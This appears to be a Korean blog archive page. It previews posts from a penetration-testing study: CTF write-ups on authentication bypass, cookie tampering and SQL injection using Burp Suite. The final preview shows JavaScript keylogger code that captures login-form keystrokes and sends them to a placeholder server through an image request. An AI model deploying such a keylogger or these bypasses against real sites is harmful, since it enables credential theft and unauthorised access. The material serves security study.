📓 Codegear_Archive

[SegFault] Authentication Bypass (Admin) Admin is Mine. admin 계정으로 로그인하자! 문제 파악 위의 페이지에 접속하면 아래와 같은 화면이 나온다. 알고 있는 계정 : [ID/PW] : doldol / dol1234 Burp Suite을 이용하여 사이트 접속 과정의 상태코드(Status code) 확인 200 OK : 정상적인 응답 로그인 과정의 구조를 알기 위해, 먼저 알고 있는 정보로 로그인 해본다. 제공된 ID/PW를 입력했음에도 해당 창에서 넘어가지 않음을 확인, 로그인이 진행되지 않는다?! 로그인 과정의 히스토리(HTTP history) 확인 해보자 ! ID와 PW를 입력했음에도 파라미터(Params)가 들어가지 않고있음을 확인할 수 있다. 요청(R..

[SegFault] Authentication Bypass (Code) PIN CODE Bypass. 핵미사일 시스템 접근 권한을 획득했다! 발사만 남았다! 가자!!! 문제 파악 위의 페이지에 접속하면 아래와 같은 화면이 나온다. Burp Suite을 이용하여 상태코드(Status code) 확인한다. 200 OK (접속) 200 OK (Fire) 200 OK (확인) 200 OK (인증) 생각 과정 생각 과정 1. 파라미터 admin_pass가 넘어가지만, 알아낼 방법이 안보인다. 2. 그런데? URL을 보면 Step으로 단계가 넘어가는 것을 확인할 수 있다. 3. 직접 접근 시도 해보자!! 4. Step1.php 에서 Step2.php로 넘어가니까? 5. 다음은 Step3.php가 아닐까? 풀이 과정..

[SegFault] Authentication Bypass (Admin) Get Admin. admin 계정으로 접속하자! 문제 파악 위의 페이지에 접속하면 아래와 같은 화면이 나온다. 알고 있는 계정 : [ID/PW] : doldol / dol1234 Burp Suite을 이용하여 사이트 접속 과정의 상태코드(Status code) 확인한다. 302 Found 200 OK 로그인 과정의 구조를 알기 위해, 먼저 알고 있는 정보로 로그인 해본다. 로그인 과정의 상태코드(Status code) 확인한다. 302 Found : Cookie를 받아옴 200 OK : 정상적인 응답 요청(Request)과 응답(Response)를 살펴보자 ! 요청(Requset)에서 POST 메서드를 이용하여 /2/login.p..

[SegFault] Burp Suite Prac. Prac 4. Flag를 찾으시오! 디코더(Decoder) 활용 문제 문제 파악 위의 페이지에 접속하면 아래와 같은 화면이 나온다. You are Not Admin이라는 문구를 확인할 수 있다. 이것을 보면 Admin으로 권한을 상승해줘야 함을 알 수 있다. Burp Suite을 이용하여 상태코드(Status code) 확인한다. 302 Found : 요청한 리소스를 다른 URL에서 찾았다. 200 OK : 정상적인 응답 요청한 리소스를 다른 URL에서 찾음 : 쿠키(Cookie)에서 level 정보를 받아온 것을 확인 할 수 있다. Admin 권한을 위해서 level을 올려줘야 함을 알 수 있다. 요청(Request)과 응답(Response)를 살펴보자..

[2] doldol 데이터만 출력하기 (하나만 나오게!) http://ctf.segfaulthub.com:1020/sqlInjection_2_1.php Normaltic's SQL Practice ctf.segfaulthub.com:1020

SQL Injection Data Extraction SQL Injection을 이용한 데이터 추출(Data Extraction) 데이터 추출(Data Extraction) 데이터 추출을 위한 사전확인 SQL 인젝션이 일어나는 곳 1. DB 데이터를 사용하는 곳인가? 2. 그 데이터가 화면에 나오는가? 안나오는가? (DB에 있는 데이터가 웹 페이지에(화면에) 나오는 경우와 나오지 않는 경우가 있다.) > 웹페이지에 데이터가 나오는 경우 ex) 게시판 > 나오지 않는 경우 ex) 로그인 기능, 아이디 중복 체크 (내용이 나오는 것이 아니고 있다 or 없다, 옳다 or 틀리다만 알려줌) SQL Injection은 DB 데이터를 사용하는 곳에서는 잠재적으로 실행 가능하다. 그래서 우리는 어떻게 하면 원하는 데..

[SegFault] Burp Suite Prac. Prac 3. 아래 페이지에서 flag를 찾으세요! Hint : 1 ~ 20 리피터(Repeater) or 인트루더(Intruder) 활용 문제 문제 파악 위의 페이지에 접속하면 아래와 같은 화면이 나온다. Burp Suite을 이용하여 상태코드(Status code) 확인한다. 200 OK : 정상적인 응답 Cookies 에 answer = 1 정보가 존재함을 확인 가능하다. 요청(Request)과 응답(Response)를 살펴보자 ! 브라우저 화면에서의 힌트를 보면 Press F5, 새로고침을 해보라는 힌트 문구가 보인다. 새로고침 결과 달라진 점 Cache-Control : max-age=0 쿠키(Cookie) 부분에 session 앞에 answer..

[SegFault] Burp Suite Prac. Prac 2. 아래 사이트에서 flag를 찾아보세요! Comparer 활용 예제 문제 파악 위의 페이지에 접속하면 아래와 같은 화면이 나온다. LOOK INSIDE 안을 들여다 보라는 힌트가 보인다. Burp Suite을 이용하여 상태코드(Status code) 확인한다. 200 OK : 정상적인 응답 요청(Request)과 응답(Response)를 살펴보자 ! 응답(Response)에 라는 주석(힌트)이 확인된다. 요청(Request)의 경로 GET /2_burp/ 에 a.html과 b.html을 넣어 데이터를 확인해야 함을 알 수 있다. 풀이 과정 (해결 방안) 1. Intercept On 으로 바꿔준다. 2. 재요청(Request) : 새로 고침(페..

인증 (Authentication) Bypass with SQL Injection SQL Injection SQL Injection이란? 말 그대로 SQL 질의문을 삽입하여 서버 측에서 준비된 SQL 질의문을 변조하는 공격을 의미한다. 사용자가 입력하는 입력값에 대해 검증을 제대로 하지 않는 취약점을 가지고 있으면 SQL문을 끼워 넣을수 있다는 것이다. 공격자가 입력창에 악의적으로 SQL 문을 끼워넣어 공격하는 것이 바로 SQL Injection이다. SQL문을 입력창에 적으면 무엇을 할 수 있기에 이것을 공격이라고 할까? 요청을 처리하는 과정에서 필요한 데이터가 보관된 DB가 존재하고, 요청에 따라 해당 DB를 CRUD(저장,조회,수정,삭제)하는데 필요한 SQL Query가 준비되어있다. 좀 더 자세히..

모의 해킹 스터디 - 4주차 과제 (1-1) 키 로거 추가 구현 코드 구성 key_logger.html key_logger.js key_logger.php view.html key_logger.html Login Form Login 로그인 폼의 키로거 key_logger.js var keys=''; var url = 'http://ip adress/key_logger.php?c='; document.onkeydown = function(e) { var key = e.key; keys+=key; } window.setInterval(function(){ if(keys.length > 0) { var data = encodeURIComponent(keys) new Image().src = url + data..